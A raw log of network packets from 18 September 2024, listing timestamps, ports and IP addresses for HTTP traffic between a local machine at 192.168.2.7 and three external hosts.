Sep 18, 2024 14:30:10.194422960 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194423914 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194436073 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194447994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194458961 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194468021 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194468021 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194473028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194493055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194504023 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194515944 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194526911 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194529057 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194529057 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194540024 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194552898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194564104 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194566965 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194566965 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194576979 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194588900 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194600105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194612026 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194617987 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194623947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194644928 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194645882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194645882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194664955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194678068 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194689989 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194690943 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194690943 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194701910 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194714069 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194725990 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194736958 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194741011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194741011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194751024 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194770098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194775105 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194783926 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194797039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194808960 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194808960 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194808960 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194823027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194834948 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194847107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194858074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194859982 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194859982 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194871902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194884062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194894075 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194896936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194896936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194914103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194926977 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.194931030 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194940090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.194952965 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.194963932 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.194983006 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.194996119 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195003033 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.195007086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195007086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195007086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195009947 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195035934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195048094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195059061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195070982 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195081949 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195089102 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195089102 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195089102 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195094109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195106030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195116997 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195127964 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195133924 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195133924 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195139885 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195152044 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195163965 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195172071 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195175886 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195188999 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195198059 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195204973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195225000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195238113 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195240021 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195240021 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195250988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195261955 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195274115 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195276976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195276976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195285082 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195297003 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195311069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195322037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195333958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195344925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195346117 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195346117 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195346117 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195355892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195363998 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195368052 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195379972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195403099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195404053 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195415020 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195434093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195442915 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195442915 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195446968 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195458889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195461035 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195472002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195478916 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195483923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195494890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195511103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195522070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195534945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195548058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195548058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195548058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195548058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195559025 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195569992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195594072 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195606947 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195606947 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195607901 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195606947 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195620060 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195631981 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195643902 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195657015 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195668936 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195668936 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195668936 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195669889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195682049 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195693970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195705891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195709944 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195709944 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195719957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195733070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195744991 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195756912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195760012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195768118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195780039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195791960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195800066 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195800066 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195805073 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195816040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195828915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195842028 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195853949 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195863008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195863008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195863008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195866108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195879936 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195892096 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195902109 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195903063 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195902109 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195913076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195924997 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195930004 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195935965 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195944071 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195946932 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195957899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195969105 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195981026 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.195983887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195983887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.195991993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196003914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196014881 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196026087 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196027040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196027040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196037054 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196048021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196058035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196068048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196083069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196083069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196085930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196096897 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196099997 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196109056 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.196111917 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196124077 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196135998 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196147919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196158886 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196160078 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196160078 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196161032 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.196170092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196182966 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196193933 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196203947 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196213961 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196224928 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196233034 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196233034 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196233034 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196239948 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196250916 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196264029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196274996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196285009 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196299076 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196299076 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196299076 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196304083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196316957 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196320057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196329117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196341038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196352959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196363926 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196373940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196383953 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196383953 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196387053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196398973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196412086 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196423054 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196427107 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196427107 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196434975 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196445942 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.196450949 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196459055 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196470022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196481943 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196491003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196491003 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.196494102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196506023 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196517944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196522951 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196535110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196543932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196547031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196559906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196561098 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196572065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196583986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196587086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196595907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196608067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196611881 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196619987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196631908 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196639061 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196645021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196655035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196659088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196671009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196671963 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196682930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196693897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196696997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196706057 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196718931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196722031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196732044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196739912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196744919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196758032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196768045 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196769953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196780920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196793079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196794987 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196805954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196816921 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196816921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196831942 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196834087 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196845055 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196851015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196857929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196870089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196881056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196882010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196897984 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196911097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196911097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.196923971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196933985 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.196937084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196948051 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196955919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.196959019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196971893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.196983099 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.196985006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.196997881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197001934 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.197010040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197021008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197021961 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197032928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197043896 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197043896 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197058916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197071075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197077036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197088003 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197097063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.197110891 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.197118998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197130919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.197137117 CEST	49705	80	192.168.2.7	103.130.147.211
